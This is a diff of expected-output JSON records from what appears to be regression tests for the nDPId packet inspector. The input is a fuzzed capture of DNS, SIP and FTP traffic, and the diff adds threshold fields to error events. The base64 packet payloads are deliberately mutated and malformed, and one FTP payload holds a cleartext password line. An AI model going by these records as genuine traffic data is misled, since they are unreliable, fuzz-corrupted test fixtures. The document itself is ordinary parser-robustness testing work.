01014{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469573246062,"flow_src_last_pkt_time":1120469573246062,"flow_dst_last_pkt_time":1120469573246062,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469573246062,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":32,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00565{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":2,"flow_src_last_pkt_time":1120469574242837,"flow_dst_last_pkt_time":1120469573246062,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469574242837,"pkt":"ADBUADRWAODtAW69CABFAABIaZoAAIARTbfAqAECwKgBAQqbADUANPFWONMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01022{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120469573246062,"flow_src_last_pkt_time":1120469574242837,"flow_dst_last_pkt_time":1120469573246062,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469574242837,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469576245476} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469576245476,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120469576245476} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469574242837,"pkt":"ADCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00565{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":3,"flow_src_last_pkt_time":1120469578248603,"flow_dst_last_pkt_time":1120469573246062,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120469578248603,"pkt":"ADBUADRWAODtAW69CABFAABIaZwAAIARTbXAqAECwKgBAQqbADUANPFWONMBAAABAAAAAABJBF9zaXAEX3VkcANzaXAJY3liZXLyaXR5AmRrAAAhAAE="} 01023{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":24,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120469573246062,"flow_src_last_pkt_time":1120469578248603,"flow_dst_last_pkt_time":1120469573246062,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469578248603,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cyber?ity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00218{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":25,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469582254242} +00318{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469582254242,"packet_id":25,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120469582254242} 00401{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120469578248603,"pkt":"ADBUADRWAODtAW69CABFAAB2aZ0AAIARTbTAqAECwKgBAQqbADUANPFWONMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5TWRrAAAhAAE="} 00582{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1120469589080368,"flow_dst_last_pkt_time":1120469540839312,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120469589080368,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaZ4AAIARTK\/AqAECwKgB\/wCJAIkAOluxhOoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590256418,"flow_src_last_pkt_time":1120469590256418,"flow_dst_last_pkt_time":1120469590256418,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469590256418,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -57,7 +57,7 @@ 01010{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590256418,"flow_src_last_pkt_time":1120469590256418,"flow_dst_last_pkt_time":1120469590256418,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469590256418,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590257920,"flow_src_last_pkt_time":1120469590257920,"flow_dst_last_pkt_time":1120469590257920,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":57,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":57,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":57,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469590257920,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":9587,"dst_port":156,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00591{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_src_last_pkt_time":1120469590257920,"flow_dst_last_pkt_time":1120469590257920,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":65,"thread_ts_usec":1120469590257920,"pkt":"AODtAW69ADBUADRWCABFAABVAABAAEARtz7AqAEBwKgBAiVzAJwAx1zLqtOAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":30,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":10240,"global_ts_usec":1120469590259876} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469590259876,"packet_id":30,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":10240,"global_ts_usec":1120469590259876} 01252{"packet_event_id":1,"packet_event_name":"packet","packet_id":30,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":722,"pkt_type":10240,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":722,"pkt_l4_len":0,"thread_ts_usec":1120469590257920,"pkt":"ADBUADRWAODtAW69KABFAALEaaEAAIARFsjAqAEC1PIhIxPEE8QCsIioUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhVyBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFsY2g9ejloRzRiS25wMTQ5NTA1MTc4LTQzOGM1MjhiMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPThlOTQ4YjANClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4PjEuMjo1MDYwO2xpbmU8OWM3ZDJkYmQ4ODIyMDHhYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDY5IFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG9yaXphdGlvbjogRGlnZXMlcwBzZXJuYW1lPSJ2b2mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00771{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469590405967,"flow_src_last_pkt_time":1120469590405967,"flow_dst_last_pkt_time":1120469590405967,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":306,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":306,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":306,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469590405967,"l3_proto":"ip4","src_ip":"208.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00917{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_src_last_pkt_time":1120469590405967,"flow_dst_last_pkt_time":1120469590405967,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":348,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":348,"pkt_l4_len":314,"thread_ts_usec":1120469590405967,"pkt":"AODtAW69ADBUADRWCABFAAFOAABAADcRit\/Q8iEjwKgBAhPEE8QBOln2U0lQLzIuMCAxMDAgVHJ5aW5nDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDQ2VxOiA2OSBSRUdJU1RFUg0KRnJvbTogPHNpcEZ2b2kxODA2M0DzaXAuY3liZXJjaXR5LmRrPjt0YWc9OGU5NDhiMA0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz4NClacYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7cmVjZWl2ZWQ9ODAuMjMwLjIxOS43MDtycG9ydD01MDYwO2JyYW5jaD16OWhHNGJLbnAxNDk1MDUxNzhTNDM4YzUyOGIxOTIuMTY4LjEuMg0KQ29udGVudC1MZW5ndGg6IDANCg0K"} @@ -98,7 +98,7 @@ 01125{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":43,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120469633828778,"flow_src_last_pkt_time":1120469633828778,"flow_dst_last_pkt_time":1120469634840520,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":33,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":33,"flow_dst_max_l4_payload_len":126,"flow_src_tot_l4_payload_len":33,"flow_dst_tot_l4_payload_len":126,"midstream":0,"thread_ts_usec":1120469634840520,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2719,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"147.234.1.253"}}} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469634878338,"flow_src_last_pkt_time":1120469634878338,"flow_dst_last_pkt_time":1120469634878338,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120469634878338,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00535{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_src_last_pkt_time":1120469634878338,"flow_dst_last_pkt_time":1120469634878338,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"thread_ts_usec":1120469634878338,"pkt":"ADBUAHNWAODtAW69CABFAAAwaaxAAIAGOYrAqAECk+oB\/QqgABWvnVkPAABkAHACQABuKwAAAgQFtAEBBAI="} -00198{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":45,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469634896583} +00298{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469634896583,"packet_id":45,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469634896583} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":45,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"thread_ts_usec":1120469634878338,"pkt":"AODtAW69ADBUADRWCABVAAAweP9AADkGcTeT6gH9wKgBAgAVCqDlH5UEr53DEHASYzbQ8AAAAQEEAgIEBYM="} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":2,"flow_src_last_pkt_time":1120469634896665,"flow_dst_last_pkt_time":1120469634878338,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1120469634896665,"pkt":"ADBUADRWAODtAW69CABFAAAoaa1eAIAGOZHAqAECk+oB\/QqgABWvncMQ5R+VBVAQQiQelgAA"} 00596{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":3,"flow_src_last_pkt_time":1120469634896665,"flow_dst_last_pkt_time":1120469634993209,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"thread_ts_usec":1120469634993209,"pkt":"AODtAW4UADBUADRWCABFEABeeQBAADkGcPiT6gH9wKgBAgAVCqDlH5UFr53DEFAYYzaF6QAAMjIwIFByb0ZUUEQgU2VydmVyIEluIEVDSSBUZWxlY29tIChudHAsZWNpdGVsZS5jQ20pIA0K"} @@ -106,7 +106,7 @@ 00628{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635010547,"flow_dst_last_pkt_time":1120469635010547,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"thread_ts_usec":1120469635010547,"pkt":"AOBzAW69ADBUADRWCABFEAB0eQJAADkGcOCT6gH9wKkBAgAVCqDlH5U7r53DIFAYYzZecwAAMzMxIEFub255bW91cyBsb2dpbiBvaywgc2VuZCB5b3VyIGNvbXBsZXRlIGVtYWlsIGFkZHJlc3Mg4XMgeW91ciBwYXNzd29yZC4NCg=="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":25,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635012954,"flow_src_last_pkt_time":1120469635012954,"flow_dst_last_pkt_time":1120469635012954,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":12,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":12,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":12,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635012954,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2679,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00539{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635012954,"flow_dst_last_pkt_time":1120469635012954,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1120469635012954,"pkt":"ADBUACRWAODtAW69CABFAAA0aa9AAIAGOYPAqAECk+oB\/Qp3ABWvncMg5R+Vb1AYQaK71QAAUEFTUyBkMHhhIQ0K"} -00198{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":55,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469635042435} +00298{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469635042435,"packet_id":55,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469635042435} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":55,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"thread_ts_usec":1120469635042383,"pkt":"ADBUADRWAODtAW69CAAGAAAoabBAAIAGOY7AqAECk+oB\/QqgABWvncMs5R+VqVAQQYAeegAA"} 00762{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635042587,"flow_src_last_pkt_time":1120469635042587,"flow_dst_last_pkt_time":1120469635042587,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":3,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":3,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":3,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635042587,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.2.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635042587,"flow_dst_last_pkt_time":1120469635042587,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"thread_ts_usec":1120469635042587,"pkt":"AODtAW69ADBUBDRWCABFEAAreQZAADkGcSWT6gH9wAIBAgAVCqDlH5Wpr53DLFAYYzbSqwAAIA0KAAAA"} @@ -126,7 +126,7 @@ 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635049544,"flow_dst_last_pkt_time":1120469635049544,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":23,"thread_ts_usec":1120469635049544,"pkt":"AODtAW69ADBUADRWCABFEAAreRJAADkGcRmT6gH9wKgBAgQVCqDlH5cvr53DLFAYYzbRJQAAIA0KAAAA"} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120469635052210,"flow_src_last_pkt_time":1120469635052210,"flow_dst_last_pkt_time":1120469635052210,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1120469635052210,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.65.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00578{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_src_last_pkt_time":1120469635052210,"flow_dst_last_pkt_time":1120469635052210,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"thread_ts_usec":1120469635052210,"pkt":"AODtAW69ADBUADRWCABFEABReRRAADkGcPGT6gH9wKhBAgAVCqDlH5dFr53DLFAYYzYwqgAAMjMwIEd1ZXN0IGFjY2VzcyBncmFudGVkIGZvciBhbm9ueW1vdSVzAAo="} -00198{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":78,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469635053223} +00298{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120469635053223,"packet_id":78,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120469635053223} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":78,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"thread_ts_usec":1120469635052210,"pkt":"ADBUADRWAODtAW69CADFAAAwabhAAIAGOX7AqAECk+oB\/QqgABWvncMs5R+XblAYP7tMeAAAVFlQRSBJDQo="} 